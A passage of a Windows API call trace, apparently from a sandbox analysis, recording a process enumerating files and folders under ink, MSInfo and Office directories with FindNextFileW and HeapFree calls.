ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0064.682] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.682] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0064.682] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.682] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0064.683] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.683] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0064.683] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.683] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0064.683] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.683] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0064.683] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.683] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0064.684] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.684] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0064.685] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.685] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0064.685] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.685] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0064.685] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.685] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0064.685] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.685] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0064.685] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.685] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0064.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.686] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0064.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.686] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0064.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.686] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0064.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.686] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0064.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.686] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0064.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.686] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0064.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.687] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0064.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.687] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0064.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.687] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0064.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.687] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0064.687] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.687] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0064.688] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.688] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0064.688] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.688] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0064.688] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.688] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0064.688] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.688] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0064.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.689] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0064.689] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0064.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.690] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0064.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.691] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0064.691] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.691] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0064.692] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.692] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0064.693] FindClose (in: hFindFile=0x5830c8 | out: hFindFile=0x5830c8) returned 1 [0064.693] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.693] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0064.693] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.693] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0064.693] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.693] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0064.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.695] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0064.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.695] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0064.695] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0064.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.695] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0064.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.695] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: 